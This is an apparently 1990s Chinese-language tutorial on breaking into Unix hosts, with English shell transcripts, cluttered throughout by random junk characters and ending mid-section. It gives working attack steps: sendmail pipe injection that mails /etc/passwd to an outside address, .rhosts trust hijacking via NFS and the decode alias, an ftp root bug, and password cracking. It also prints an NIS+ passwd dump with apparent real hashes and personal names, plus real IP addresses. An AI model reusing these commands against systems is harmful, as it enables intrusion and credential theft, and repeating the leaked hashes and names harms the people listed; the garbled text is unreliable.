2 A/ r3 ^8 P' @, xEscape character is '^]'.
! ]: ^3 v4 w9 |/ G! O8 G9 |" ]5 k8 H2 ]5 u8 c- N
220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
_* z; J+ |2 \1 @! P2 c" U3 t+ Z# I9 ]* U, ~$ c
mail from: "|/bin/mail [email protected] < /etc/passwd"; s ~5 c3 B4 ?4 {
- D/ |+ `2 a" c8 K+ p# w250 "|/bin/mail [email protected] < /etc/passwd"... Sender ok" `+ h( f% s* ]8 J
- g) ^$ S4 _; H; ]3 [) t
rcpt to: nosuchuser
& P: Z4 O+ ?5 T. Z; j
. \; n. U- f7 a5 Z6 Q( c550 nosuchuser... User unknown
6 T0 `/ z, U: x" _2 }) s5 [6 g: z& ]( _
data- V8 l( w1 b6 x2 G* @
+ T3 M3 J* _- U" V4 Y/ \4 b/ X354 Enter mail, end with "." on a line by itself
. I. j3 W0 Y; g+ s6 {; M i7 k3 l `' [/ [( Y, X* b& V; a5 M& q
../ {* ^# V3 n9 b1 Q
6 d- @' s9 P. E, i8 @4 z5 r, j
250 Mail accepted3 k6 e2 U2 V" j) h0 }3 S
8 O M8 A" O3 Yquit" _* c4 F4 i b$ x3 @$ N
! c4 Q. z- D0 KConnection closed by foreign host.
0 k B2 \( u" d# l/ ?* ~+ K* g6 f* j* u( T% `+ `7 r; ~( ]
(samsa:wait...)
8 c8 w% J9 c+ G4 C8 Y2 Y* W& V r
: |( ~! {, l5 o; h9 g7 X' Z2) 遠(yuǎn)程控制
3 |6 J) G+ T9 K0 D/ Y( x0 g
7 m; k" f; V; Z+ j& K2.1) DoS攻擊$ T& q9 R6 ]7 O. U8 i
Q7 N- ]8 p9 O' X
2.1.1) Syn-flooding
2 X) `6 S9 _3 W% E* w& R6 e5 f
5 l" Y, n. D( \) {" ]; `向目標(biāo)發(fā)起大量TCP連接請(qǐng)求，但不按TCP協(xié)議規(guī)定完成正常的3次握手，導(dǎo)致目標(biāo)系統(tǒng)等待＃ 耗費(fèi)其! a* `# V6 X6 x0 T2 e6 |2 B( ]% r# G/ A
* \" Z$ g6 t8 _. y' t6 {/ p
網(wǎng)絡(luò)資源，從而導(dǎo)致其網(wǎng)絡(luò)服務(wù)不可用。# G, e, y1 \1 W+ U$ b7 V4 L" v7 y
# l: ]# R5 G% k Y
2.1.2) Ping-flooding9 s+ j$ K, n, {
6 N8 ]/ B: j9 R3 t2 g5 g4 \+ f向目標(biāo)系統(tǒng)發(fā)大量ping包,i.e.ICMP_ECHO包，使目標(biāo)的網(wǎng)絡(luò)接口應(yīng)接不暇 ?被盡?
8 B0 |# S7 \: q$ ]+ {6 M$ q) W- a6 ` O
W9 T9 x- e% w$ ?! A) J: `8 |: h% I8 ]5 A' D
2.1.3) Udp-stroming
; t' Q3 N- k, n) e, r5 I6 u" `( c8 k% D
類似2.1.2)發(fā)大量udp包。- x1 }& I$ g* I3 u
# U+ v7 H1 Z6 b$ X; {7 n
2.1.4) E-mail bombing
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發(fā)大量e-mail到對(duì)方郵箱，使其沒有剩余容量接收正常郵件。. i) m- i, n9 l; F! N
2 |1 \' v. Q+ G8 M
2.1.5) Nuking* \5 a, B, _' W |
) I4 i d3 B+ I7 a* B
向目標(biāo)系統(tǒng)某端口發(fā)送一點(diǎn)特定數(shù)據(jù)，使之崩潰。) j# a4 Y6 d% K Y* _! }5 A k
* \3 S, d* W9 a2.1.6) Hi-jacking- L" \1 E% b4 O7 V; H: n
$ o5 j: z, v. v* q
冒充特定網(wǎng)絡(luò)連接之一放向網(wǎng)絡(luò)上發(fā)送特定包(FIN或RST)，以中止特定網(wǎng)絡(luò)連接；. H9 g2 n+ p! U. w9 m0 N! M
" H& p% C. V0 A+ E2 \1 C2.2) WWW（遠(yuǎn)程執(zhí)行）% E8 S9 G% A/ r; N
4 ?4 j& b, `, r3 d* q1 j2.2.1) phf CGI
' T T+ k' H! B2 o) v* c8 w' X5 _ r4 K
2.2.3) campus CGI6 N/ e% ?+ z6 y! N$ ?( A) X
7 A9 A, k7 }+ y' Y0 w2.2.4) glimpse CGI* m I8 }# M5 F
0 n5 j( A# X; t4 t; c( V(samsa:在網(wǎng)上看見NT下也有一個(gè)叫websn.exe的buggy CGI,詳情不清楚)
$ F; F8 _0 G o0 L2 C3 v1 g: g, N5 a; R; R! X, S m# \
2.3) e-mail) Q0 _2 |9 a# Q _* g0 T; a
' d1 g- ?: P- Q& j' @2 c同1.7，利用majordomo(ver. 1.94.3)的漏洞' \: J2 R' |( {! Z# I9 w3 h
5 e( B6 Z5 @ D1 c6 q2.4) sunrpc:rexd+ S( D. q6 v' w9 X* V7 Q/ g5 {" G( L
/ Q* S& ^' m% L( E$ D- Q; O3 _據(jù)說如果rexd開放，且rpcbind不是secure方式，就相當(dāng)于沒有口令，可以任意遠(yuǎn)程
& @6 {+ W6 P; b3 v/ P; I+ E' ~+ [
運(yùn)行目標(biāo)機(jī)器上的過?6 W$ h0 w# k- B$ z/ u0 ]
4 l, `* P7 B) H" x2 R: F2.5) x-windows( o/ H& Q8 [9 U5 P" ^
5 e% }" K8 l$ e4 X j
如果xhost的access control is disabled,就可以遠(yuǎn)程控制這臺(tái)機(jī)器的顯示系統(tǒng)，在
- n+ J$ J3 J2 l' H, x" X1 E+ W" i" K1 H0 N
上面任意顯示，還可以偷竊鍵盤輸入和顯示內(nèi)容，甚至可以遠(yuǎn)程執(zhí)行...
' I, }& k8 G0 B3 j
5 I) x/ Z) K: n) a6 f# R1 a三、登堂入室（遠(yuǎn)程登錄）
2 U& Y5 @3 L- {* J& F" x( q' P9 o! n, w5 s$ j" h/ u
1) telnet
0 U4 B* C6 d* e
" r" {3 Q; }5 N8 `要點(diǎn)是取得用戶帳號(hào)和保密字
( X# h6 E A/ j
: A) o8 t5 @6 M. G1 |6 r1.1) 取得用戶帳號(hào)
; S( t+ \6 n1 a+ Z1 R9 f
( S# g6 _" b8 k9 |1 i1.1.1) 使用“白手起家”中介紹的方法. M8 P8 L! _4 r T
: B5 |# B0 d X: N7 D1.1.2) 其他方法：e.g.根據(jù)從那個(gè)站點(diǎn)寄出的e-mail地址
z& A6 R" e9 |: ]
& {9 M2 ?- u" s% ~& k( V# |1.2) 獲取口令
! l0 H0 A, b4 N4 F5 j( ]" ?. {4 h, P0 b) e
1.2.1) 口令破解
; m j/ k4 k* h% Q; u# {% l
5 H; {- `; Q: `1.2.1.1) 使用“隔空取物”中介紹的方法取得/etc/passwd和/etc/shadow
8 q5 J2 I) o$ T; c+ l
! E1 c# Z; E' p0 z( W8 y1.2.1.2) 使用口令破解程序破解口令
8 Y5 I. P4 J$ d. ~7 h* d$ ~
+ ^; ~7 q) a/ m0 _! o) X# v, Re.g.使用john the riper：
4 E. U7 T5 i9 R! _+ K) E4 ?
1 y5 @; p1 R4 K% L# unshadow passwd shadow > pswd.1
) H! ^; Y" \9 T% d$ T# t9 {, X$ {6 j5 w2 v' I( D0 P; c$ V
# pwd_crack -single pswd.1
; d4 x9 y3 z6 b: C5 A# Z1 M
' w# D L6 C8 |* M# pwd_crack -wordfile:/usr/dict/words -rules pswd.1* b1 b1 ]( o3 @6 o2 u, b
; W$ x, d/ |3 G' Q4 \' K$ u' a7 n
# pwd_crack -i:alph5 pswd.1% n: A* T% v$ B
8 ^( K$ y' v/ |4 o! V8 ^# G1.2.1.3) 使用samsa開發(fā)的適合中國人的字典生成程序; o; }( o0 U0 M/ O
6 j$ H& I7 W! z" Y# D1 l4 u
# dicgen 1 words1 /* 所有1音節(jié)的漢語拼音 */
& g7 O4 _' h* v# x* a# l3 w, t$ V/ m8 H2 _5 w
# dicgen 2 words2 /* 所有2音節(jié)的漢語拼音 */& p, N0 @9 x6 d; m
' W) d j. |& S3 Q5 |3 @9 T
# dicgen 3 words3 /* 所有3音節(jié)的漢語拼音 */ W8 n: n. U- y" ]2 l
0 r& m* L6 s: j K6 p; E! B# pwd_crack -wordfile:words1 -rules pswd.1/ e `5 g9 P* I0 n$ d5 R
: u l5 Q t1 a* D: S# pwd_crack -wordfile:words2 -rules pswd.1
; Y# A% _# w* G. s; K
3 { m0 U! n, a3 k# pwd_crack -wordfile:words3 -rules pswd.1
1 c. R9 K& \; A( `
# [! E% z, j3 T0 V4 o2 P1.2.2) 蠻干(brute force)：猜測(cè)口令+ |' R6 N) ? T& i. d
9 V/ E* f$ v$ Q猜法：與用戶名相同的口令，用戶名的簡(jiǎn)單變體，機(jī)構(gòu)名，機(jī)器型號(hào)etc
* G7 o/ h. r; @: B4 @- \; a7 u9 y
e.g. cxl: cxl,cxl111,cxl123,cxl12345,cxlsun,ultra30 etc...; k7 [- |2 r3 c9 Z: r3 S- Q' \/ G' ~
" h7 f1 y& C% N& P3 \
, n* m0 i/ D1 G7 D' V; g: n
; P5 R$ _" C5 C1 U7 p" t/ }(samsa:如果用戶數(shù)足夠多，這種方法還是很有效的:需要運(yùn)氣和靈感)
. H1 d m$ G6 c% h9 y# ~
0 u5 j) r7 |& @; Q2) r-命令:rlogin,rsh3 w1 K, [5 O: [" C
( p4 L* x' r, n" \關(guān)鍵在信任關(guān)系，即:/etc/hosts.equiv,~/.rhosts文件
" H% }7 Q, V! Q7 X% B4 A7 {7 [$ y- m7 R9 J- h$ \ @# ~' e) \
2.1) /etc/hosts.equiv
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如果/etc/hosts.equiv文件中有一個(gè)"+"，那么任何一臺(tái)主機(jī)上的任何一個(gè)用戶（root除( |& Q9 b5 z o4 Z& w0 s
2 k( d: s r8 |, P5 w外），可以遠(yuǎn)程登錄而不需要口令,并成為該機(jī)上同名用戶;
& q! v6 _8 v9 x2 @( Q/ ?% L- l1 Q% r" M4 ^
2.2) ~/.rhosts- p3 t) j z! Z! o1 m4 D& {' P
, E J- J; { N. f$ q8 l
如果某用戶主目錄(home directory)下.rhosts文件中有一個(gè)"+"，那么任何一臺(tái)主機(jī)上; x' J0 \3 N+ s# v
6 Q/ B8 @/ V: O+ `) N0 x
的同名用戶可以遠(yuǎn)程登錄而不需要口令
2 }) w" l4 q% H4 E' s; ~4 `( I: H% ~; u5 {
2.3) 改寫這兩個(gè)文件
) E5 |+ ~5 q/ B( s% U
6 o; r5 Y( T8 g' S5 E# x! g2.3.1) nfs" ?7 p7 l+ v. C! s9 x5 M3 ?
1 n; f) Q" n4 I5 j) X
如果某用戶的主目錄共享出來 \( c$ @% ^1 K4 P$ m
. `& P! V+ ]" R3 I
# showmount -e numen) \# k8 f8 A+ {% o* J
( L8 q% ]# t4 g
export list for numen:4 [0 X; @' n+ ~
3 b1 O5 U& T6 C7 H4 y8 e
/space/users/lpf sun9
6 |) o* H: U" T* m
8 B, U/ x N. y7 ~) z/space/users/zw (everyone)
8 u U) ]# h* K9 Y6 }, G' l/ Y- U1 v! Y* G6 B5 P6 g
# mount -F nfs numen:/space/users/zw /mnt/ P) {0 J1 m ^! z$ D- y3 x
4 t8 w9 Q d( j+ W l) P5 `
# cd /mnt
1 n4 h1 U7 Q; W! J" m
N' q/ c+ V* Q5 U5 B# cd /mnt
; c. e' s2 ]8 Z& h, U. P4 e; ?6 t' V8 _2 B
# ls -ld .; U2 n( J( G3 ~; i# r
% A4 B5 S* U6 | R+ xdrwxr-xr-x 6 1005 staff 2560 1999 5月 11 .
! u0 O( J# k7 {% E: n4 C8 f# `( Q X& m w" S+ U
# echo zw:x:1005:1:temporary break-in account:/:/bin/sh >> /etc/passwd- n1 u& s% ?; f& H! _+ \* [
' f+ v w2 U9 ~! i' |2 N: o
# echo zw::::::::: >> /etc/shadow n3 {2 z6 m0 }
) ?- z. K. P3 A# @: S7 f1 S
# su zw
0 [" ` q( N" R$ `+ |: w
& ]0 z( a# ^* e$ ] q$ j$ cat >.rhosts
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4 I* I$ C: I+ Q3 x- @# l+
7 L7 `- Y; J, \# X; @) m* `6 M
9 q2 J5 E' u, i6 E3 r. G/ S^D# _: ^/ d* y! T
- o0 X1 S9 v+ S0 `% T
$ rsh numen csh -i
t! V. V' F; \
6 c o' F& `: b2 |0 X& |2 i, iWarning: no access to tty; thus no job control in this shell...
3 J2 M0 B+ x- C( y9 y
6 Z$ a9 g' C' i9 R0 G" ~numen%. ?2 c4 @$ M. w$ D
8 X, E) E C# }2.3.2) smtp
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利用``decode''別名
) ?) w, a( q' A2 I: g `1 P% p
5 ?* p9 _/ {* f' |! b& a* u$ l$ Xa) 若任一用戶主目錄(e.g./home/zen)或其下.rhosts對(duì)daemon可寫，則6 J e7 G9 z: j$ N7 R( ^5 f2 X( k
& \) H* ]5 P5 g/ G! z5 N5 ~# echo "+" | uuencode /home/zen/.rhosts | mail [email protected]' e9 q9 e& u. N# h5 }
; j; P2 W" \$ N& O! D
(samsa:于是/home/zem/.rhosts中就出現(xiàn)一個(gè)"+")
2 v9 ?: I2 K: [2 i- {+ Z; V; b4 n _8 [$ n
b) 無用戶主目錄或其下.rhosts對(duì)daemon可寫，則利用/etc/aliases.pag,! @* c9 n! R: w
' p" j7 c0 T! b9 O因?yàn)樵S多系統(tǒng)中該文件是world-writable.1 b' A7 B( ^, l# B3 e5 w9 {; _
$ m' l E' I+ v3 x$ f% Z9 F# cat decode
* ^# b i* q/ t9 B! R
/ }7 t) e: ? \/ `; Z ibin: "| cat /etc/passwd | mail [email protected]" G; P Y) ~6 n9 |2 g
$ J5 ?3 @! @6 j3 v2 d1 n+ V3 k6 R T# newaliases -oQ/tmp -oA`pwd`/decode2 b# m, j% c3 ]
$ z) g) |* e% i& a# uuencode decode.pag /etc/aliases.pag | mail [email protected] N6 K" \* S! @% L i! z9 w
6 X- L0 {# R& D5 i1 ^
# /usr/lib/sendmail -fbin -om -oi [email protected] < /dev/null
" R2 o4 K7 D+ ~. S$ x
3 ~' {8 G! o: Y9 t" z1 j/ [(samsa:wait .....)
7 u+ w2 W/ m# u6 B7 b/ m6 w3 I4 p" v, _1 H8 k% C: f+ Z. x6 A
c) sendmail 5.59 以前的bug
8 O* m( O0 I$ F; N! n
; R U; r' i1 [8 i# cat evil_sendmail2 \9 K5 i, |+ C+ |' N/ _6 j
# F* G0 D" n' }# q9 n2 C+ _
telnet victim.com 25 << EOSM2 D4 r8 R4 @7 _
9 Y* N" f, C2 ?; s8 z
rcpt to: /home/zen/.rhosts5 l5 u4 }- f6 K
$ i$ B$ `- p6 _* ~
mail from: zen7 R( V8 V$ U! B& Q/ R3 f" c5 b% N
+ y# b. v8 @3 ^' P# c2 t' odata" {- s8 i# E2 @8 q1 L
7 n2 [' B$ I4 a ~: l0 V! Prandom garbage3 u% w7 s/ s. }' m, m- R I
/ X" `4 Z0 ?* G9 g8 S7 ^..
) E3 g+ D$ k; e% x. w) _
, m: L8 J/ z8 ^5 s2 _$ Z% z q6 O5 `rcpt to: /home/zen/.rhosts
4 j/ u! v. h2 ^" C
* R5 e1 J( L; W. u/ @6 Dmail from: zen
/ G7 z$ T W$ f8 j7 c1 x
% x+ p# J7 C( C S/ c0 adata
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" U# o, ?" Y; {9 ^0 ]( R& E" K+9 }) T% X" @1 @' ?; g- q6 H
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+( g+ u/ k) ^7 E0 I$ q5 |
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..
5 b: H2 l+ R0 U& H$ s6 `; ~
6 X3 S8 T& x/ j7 equit
, _% b% q, G' t) M8 Z$ _, b# u) C5 r; L, L; M6 v
EOSM# ~+ ~3 _2 B* r8 ]* {0 A" |" v/ ?
8 E3 o- h+ b3 G4 [) X; V# M
# /bin/sh evil_sendmail' }6 O$ A: `; k; P9 b
6 S% F# K/ V' i6 x& S* KTrying xxx.xxx.xxx.xxx
5 \- O, O, F8 a- z
. l) N, s# E! j( `. hConnected to victim.com
* [: e4 }# ~8 W% L& N5 H; W/ w/ A4 S' F1 n5 P$ F7 Q. i
Escape character is '^]'. w5 \0 j/ f5 E2 @2 q7 Q5 A
" h8 @( p- X& p7 S2 V6 x6 M: [Connection closed by foreign host.
2 y2 ^: Q) i& {9 L5 {' t0 L/ O* m9 D
# rlogin victim.com -l zen
4 u5 B. f2 o* l: | b4 _4 d* k5 `2 y8 R) J- K5 P
Welcome to victim.com!
! r7 @2 m3 U" T1 n7 U6 s" G
+ n* x j4 {8 c3 Z$ ^3 w$
% ]- A e8 V, @; v4 z" r( k8 ?% U& O
d) sendmail 的一個(gè)較`新'bug
: J6 p" _8 q% x
: V% _& X& a1 ?# E) |: `& s# telnet victim.com 259 c4 D% q% t+ j
: B9 t- c. S! X# w: ZTrying xxx.xxx.xxx.xxx...
" N/ A* u5 C0 q0 s1 C0 J% Y, D1 ~+ X$ E; H2 C
Connected to victim.com4 f e* u3 f2 `7 |3 N# z+ @
4 a3 }8 o2 D$ b$ M: v. e6 ]Escape character is '^]'.) E0 H3 e+ g9 J) Z2 @
0 Z% ?* C: c/ P+ ]( `& p+ f" ]
220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04 q6 d# I" l% Y
/ P2 c. { O" N, d( T7 d9 Nmail from: "|echo + >> /home/zen/.rhosts"
5 j0 J1 k7 `) K) i# q) \( f7 Y! M" V7 p$ Z
250 "|echo + >> /home/zen/.rhosts"... Sender ok# t5 k* ~7 ], j* L c2 n
: q9 N: L" j" H+ |0 ^" H% o% E2 u
rcpt to: nosuchuser. M, K; ^; G: o8 e8 ]
" _# y: }( K0 z
550 nosuchuser... User unknown
( w1 w' |2 ]4 E
! _# N: Q$ s- j8 P) v; [( ^4 wdata6 x! H/ u! S0 E4 K: F# @1 M3 E
' I/ X z0 F1 b; u) M354 Enter mail, end with "." on a line by itself
( J7 J: b2 P/ U4 E' Q9 q- Z0 S( ^/ r
..& U" N$ G8 D Q
4 \/ D& ]6 W0 H: ?+ q, e
250 Mail accepted
! d7 H, q( J# ]) p. G7 B6 t3 m% {, @9 C' Y' m& u
quit8 m% t; ?1 p$ H" t5 s+ X! Y$ l9 J! ?
" N( |, m- s+ L! `4 T* FConnection closed by foreign host.
+ c* w" D, u, i. u t7 G( V; \/ ? |# I7 q2 h6 W
# rsh victim.com -l zen csh -i
, u9 B3 g+ m% Y+ y# E3 t
( I, S; |8 d! W) k* V1 `Welcome to victim.com!
. f& R( _+ Q, Q3 r' Z
F4 T1 q; w4 d3 j" n$
4 h% o1 F |( L' \7 Z$ Y$ ~& g" |$ ?! r; C0 G
2.3.3) IP-spoofing; }# S6 N" M8 J
+ j' B& i; d8 H2 A; R
r-命令的信任關(guān)系建立在IP上，所以通過IP-spoofing可以獲得信任;
5 H) i5 x" J% T* ?4 \' j
2 |" b" [# V9 j3) rexec4 I2 ^; m9 Z0 y6 r7 {; [5 B! U
5 o1 S) M$ [4 o" V# a) V% e6 c
類似于telnet,也必須拿到用戶名和口令$ U# O4 s4 V e; V2 u
a6 @/ b" f0 z g: C. j4) ftp 的古老bug5 e/ C9 i8 }. p. x3 t' w% q- C
! X. I$ ^' E! _7 C0 Q, D: Y
# ftp -n! \% |+ M! s6 j
p3 m$ h5 W. \& @9 i
ftp> open victim.com
/ J& c/ `* D7 `* [# t$ Q q9 O! x' q! s" s4 W4 O
Connected to victim.com" ^6 l& [+ @/ m9 Y5 g
* g, b% {4 a/ b) `: ?7 E! c0 @ected to victim.com; \8 V$ B7 ]6 i* y
( X4 w. {5 m! H! M. Q220 victim.com FTP server ready./ o% o; S# D* s1 a% h* r# U2 B( H
% V# T2 X% P$ ^# h. l0 x1 K+ |! {) n
ftp> quote user ftp
! P+ ~2 V! D ^) Z% G7 l) S
. w5 Y; u7 H$ l331 Guest login ok, send ident as password.
. i6 o% U+ N$ V( O4 x- {
" d# V: E1 \" t" x# hftp> quote cwd ~root
7 g2 z7 c4 ^3 |2 }
1 R2 v) S8 |7 d2 H530 Please login with USER and PASS.
7 V4 ]- G) B+ a" ?3 Z
3 B/ m3 E! T8 r, V0 ^ftp> quote pass ftp
2 u3 G& K, ]$ t, N0 X4 I
6 T! a) t+ G5 x3 F9 I9 [230 Guest login ok, access restrictions apply./ _+ h; g; I- n, g- Z- f* U+ L1 x
) Q5 i) L! q' ?/ \0 Aftp> ls -al / (or whatever)0 y G$ I8 a+ y; r! w. p3 R# j
& k* Q* P. L$ K1 m(samsa:你已經(jīng)是root了)0 T) i' l1 P/ _5 `
! K- k3 k( L! ^& g" I# B四、溜門撬鎖6 O+ e8 J k! j, A0 m- ]3 t2 n/ e8 U& B
, ^. w( [* ^8 L3 }
一旦在目標(biāo)機(jī)上獲得一個(gè)(普通用戶)shell,能做的事情就多了
$ _4 q1 D( O. F) K$ }
5 z' V; q; L! ]. e1) /etc/passwd , /etc/shadow$ R: y$ G1 V [6 Y1 m' w
+ w$ x2 `0 p' b# L2 q, W2 K8 O
能看則看，能取則取，能破則破
+ ^4 C& }# K1 `2 k' k! [' _0 n; j
9 q* \; ?0 e, \' R0 g1.1) 直接(no NIS)
/ A4 B- x) ~2 y5 B- f3 U8 x/ R7 ]5 e% _% g5 ]1 R
$ cat /etc/passwd
7 X9 i. e9 O+ }" `# o& c; \7 ]7 H$ [/ Q. ~# @! w0 i4 F" e
......6 w/ T" v2 |' M, f1 T
0 k* v( b; W9 i8 h
......1 d" L ?& x. [( U
$ n l) F: W' S% O! Q
1.2) NIS(yp:yellow page)7 k5 _0 z) V. K8 i
: ?; X1 Z8 U$ o0 ]$ domainname8 z- @3 x" ^* t2 Q7 q- ]& }4 X2 K2 @
" B' f# }( o' `. H* Vcas.ac.cn
" O& A5 L: E: _0 E) v5 _) v$ y
! H+ [2 h8 { e3 M: J9 e7 e! ^$ ypwhich -d cas.ac.cn
' V7 C9 k& T3 @% ~7 R! ~- l; e: O. ?
$ ypcat passwd
1 [* e: G5 O# }6 t1 E4 F8 b B; }8 R- R) {" I; Y/ b8 A3 @
1.3) NIS+. @6 V7 n# |; b! f) d
) y9 y) V! i- Vox% domainname8 N w, N1 X" |; ~5 s q- F
1 G% [# l a9 \; j# n4 f2 q7 }ios.ac.cn
) Y+ o6 V; d: Z% R
9 [( ^$ R5 b/ }2 @1 e$ xox% nisls
$ Y+ P9 m/ o) a; _; i- M! U4 }6 I0 S6 P6 H& W$ E
ios.ac.cn:
: X2 @0 [3 d8 G. Y+ z
U/ t. o2 L* H5 l: V: lorg_dir1 l: I, }. k& O& j% ^0 z
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groups_dir
# y7 W- V- @- n9 c
$ R2 C$ N7 Q' j9 eox% nisls org_dir
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org_dir.ios.ac.cn.: {4 t% q: m/ m' |2 N$ u6 j
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passwd: c& b4 q! ~9 s, Q5 w8 i T
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group# G9 D, m9 B; _, q
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auto_master S3 f) n+ T4 P z% Q- i1 v
5 h5 F' |0 D) [2 l9 E& e; y7 jauto_home# o1 c" r/ |3 O" {& n
% \! p' v' l% N$ ^. s; F3 E0 mauto_home
2 {5 \- ]7 L% m' p! A+ W' ]
! J$ s9 f9 I% [: ]2 r5 Z' }/ tbootparams
8 D+ q, A8 o' N( ^. K6 L9 T0 |) d# I4 b: Y
cred. m: R" _& j& S) ?8 i& m a, e
6 h3 P, Q- ~; A5 G) r# T, ^ethers& Q$ g' Y9 k$ J1 ~
1 R. ]8 Q) t8 q/ B+ j
hosts8 P- N. k: i+ _# a6 v I
# N/ {( u7 Z' a" M( Q5 qmail_aliases1 t7 f3 {8 L+ X( H
' t0 ], G8 X- n7 p7 r5 Z- p C# dsendmailvars8 D2 m* x; G: D: D& y# E1 {/ v& x
" E' g, [# A7 @& G
netmasks
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( P$ x |" {1 ]6 {6 i. q' Cnetgroup4 u+ S- t4 Y) z& @; D
?* _( U; R# l- j6 Z- [$ G* N, j3 D
networks$ T ^. n0 G- Q* u
. C9 s! Y8 B1 E( ?1 @protocols* D' Y1 o" B0 x( r' L# [- H
3 X6 ?* I7 h' l% L
rpc9 [ `( G& R7 ?: k9 g8 Z
( t: ]; R/ q! [. c- M9 b
services8 [$ _+ C: b0 B. F
5 ]1 I; }. p @8 {# ztimezone
' y D) \! r' ~- u6 O! k9 U8 l5 h0 h8 `
ox% niscat passwd.org_dir
1 v9 N2 w1 r B8 e$ u& T
6 d& O2 s7 `( o& F2 P" w6 C# Broot:uop5Jji7N1T56:0:1:Super-User:/:/bin/csh:9841::::::
: W. B j. E0 D. p4 R3 U/ f c! Z3 M' c b0 b! X6 h
daemon:NP:1:1::/::6445::::::
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3 P" q9 C! f8 K( `bin:NP:2:2::/usr/bin::6445:::::: Q7 t1 }; L: r2 Y
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sys:NP:3:3::/::6445::::::0 T' l( T; C4 p b3 Q
8 u+ F& E+ }3 b [: g& ?1 padm:NP:4:4:Admin:/var/adm::6445::::::" B! z7 @1 {# w( N4 A
9 D9 B/ l! I0 m* a) tlp:NP:71:8:Line Printer Admin:/usr/spool/lp::6445::::::
: f: V/ {3 R# u b. D; O( c3 L, n0 H! ?7 a% X& D
smtp:NP:0:0:Mail Daemon User:/::6445::::::& W: j8 | P; W% T5 D7 M3 e
7 ~, d9 u% t O2 O5 L; Buucp:NP:5:5:uucp Admin:/usr/lib/uucp::6445::::::9 `5 W2 t; [! ?" q/ |8 I5 {7 g
* y( U9 F9 _( Q) T! m* D5 h; v0 w
listen:*LK*:37:4:Network Admin:/usr/net/nls::::::::
( ~6 O/ ]1 J% W- y$ b* [4 n; a# u/ c8 t2 z; C" S/ A
nobody:NP:60001:60001:Nobody:/::6445::::::
9 [: K7 K/ r, x7 b( q
y' a8 i0 L) s; v5 S3 j4 Qnoaccess:NP:60002:60002:No Access User:/::6445::::::4 Y. h! a: s" [) y2 a) J6 [
- u# n, c+ \3 h/ ~guest:NP:14:300:Guest:/hd2/guest:/bin/csh:10658::::::
1 N7 C* X' g9 y! L! Z+ X3 r; m$ x/ z- \4 Y1 R) g" f
syscd:qkPu7IcquHRRY:120:10::/usr/syscd:/bin/csh:::::::' x! `7 d) p4 H
! V7 ]# P+ P- Q! m7 Y% G
peif:DyAkTGOg/2TCY:819:800:Pei Fei:/home/peif:/bin/csh:10491::::::
9 }; I$ _* \5 B2 S. x0 }! |) z3 ^5 D5 u5 z5 k: m
lxh:T4FjqDv0LG7uM:510:500:Liu Xuehui:/home/lxh:/bin/csh:10683::::::2 s s K' {& h. u. }/ ^
, L# |& O8 p/ U+ u5 @4 gfjh:5yPB5xLOibHD6:507:500:Feng Jinhui:/home/fjh:/bin/csh:10540::::::4 X. k9 K# f4 X
' S+ p, U1 j" h8 ?. llhj:UGAVVMvjp/9UM:509:500:Li Hongju:/home/lhj:/bin/csh:10142::::::% z& J Y; ]1 {" ?* m, m1 p' _ m' U
+ s- @) R/ k2 |
....( b' p* l9 |: {, K3 O0 s* t1 {7 x
4 T, V; x% B" b# H( I: a% ~(samsa:gotcha!!!)
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6 I5 C. J$ I, l) `5 z2) 尋找系統(tǒng)漏洞
z6 c3 X1 a4 Z$ J8 L6 I5 P8 ] ?/ _/ y5 Z; G' r: x9 b
2.0) 搜集信息
' l* g5 b [( U& M6 u
' R, w) V$ O( ^/ Nox% uname -a
" R9 Y- [1 e% x' D4 {
# m; y; @: \& s& X Q( J l+ tSunOS ox 5.5 Generic sun4d sparc SUNW,SPARCserver-1000
) `$ d5 I# Y9 A( m! J: A6 r
' O) o% c+ V! z$ h0 a* Tox% id
5 @' y6 n! Y5 ~2 k6 _2 u% x
4 B! {, F# I+ X1 i# Euid=820(ywc) gid=800(ofc)5 K* x/ p$ z! ]6 B0 a& p. F# ~
, z! F# ^ Z8 c+ s9 {% {
ox% hostname6 s7 f9 w; P' |/ h6 _( ?
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ox8 P4 x1 w) I# F) {# _. b* u$ G
/ R$ R0 ]$ Y1 x. L* y
ox
# f% X- H' j5 _/ R' I! r1 M, w# W+ k$ e
ox% domainname
) |; ~8 V, @; _4 P$ k2 c; T5 m* f# H! m. Z/ T7 o5 Z/ r/ k
ios.ac.cn
, p$ q! j) M$ G2 `# a% I/ \' [7 ]* A& W+ g: m8 E1 |+ u
ox% ifconfig -a
7 w8 V8 y, M; I; l/ [
0 _$ ~1 u2 o' k% {lo0: flags=849 mtu 8232% V. X0 B% }% E! \/ u
0 y0 K: J4 Y& Yinet 127.0.0.1 netmask ff0000001 n8 J% [. b& k8 H
% x3 b5 v7 b" v3 V9 V: dbe0: flags=863 mtu 1500
" X) W! J3 U, ^- P: m
& ]$ s) E7 d9 @9 winet 159.226.5.188 netmask ffffffc0 broadcast 159.226.5.1919 w* u% g" f2 W$ a, j+ \
$ {5 o+ p2 z1 k6 W7 D% u% @
ipd0: flags=c0 mtu 8232
$ `# l7 Z& M5 ~- p5 D H( U4 d* ?- P E
inet 0.0.0.0 netmask 0( T, D5 G( B' |0 r! ]! H' ~! ^
% j8 ~6 D1 V) \( i* W* C2 mox% netstat -rn; f5 Y+ I. M( Y- R& U' Z
4 a: H p. P6 @( ARouting Table:' ?2 {" N7 Z: C2 e. ?; B
) U) B: o' [' M7 I6 n- LDestination Gateway Flags Ref Use Interface8 r, J8 x" _3 y- O4 m; j! e
+ V3 f# t+ a4 g" Z. M- P-------------------- -------------------- ----- ----- ------ ---------
8 t1 ^8 d/ b0 ]6 X. _
1 X! F% a c6 j127.0.0.1 127.0.0.1 UH 0 738 lo0
+ S( g6 W' z% t8 T
+ Q6 ?- C$ w3 j5 }9 `* L& }1 Y159.226.5.128 159.226.5.188 U 3 341 be0
( T. m+ d R6 K9 O3 m* G+ Z+ q
' ?* t3 Z; K4 ^ {. }. ?224.0.0.0 159.226.5.188 U 3 0 be0
: n+ b0 n9 L3 x" i! U3 ?. |/ a- D
default 159.226.5.189 UG 0 1198
( [3 _/ e5 g9 o ^
# Q* T2 F6 h" N8 B9 N5 w) G......% v- L1 G9 e! X/ S. o7 @/ @% |
8 ^! c; n/ E! d4 ~, o2.1) 尋找可寫文件、目錄% E- M3 h# R1 B& y% } P9 D
1 r8 R/ W, m; Tox% cd /tmp
2 F; h/ N3 ~! R4 p$ n: b6 {1 g& U3 X
ox% cd /tmp
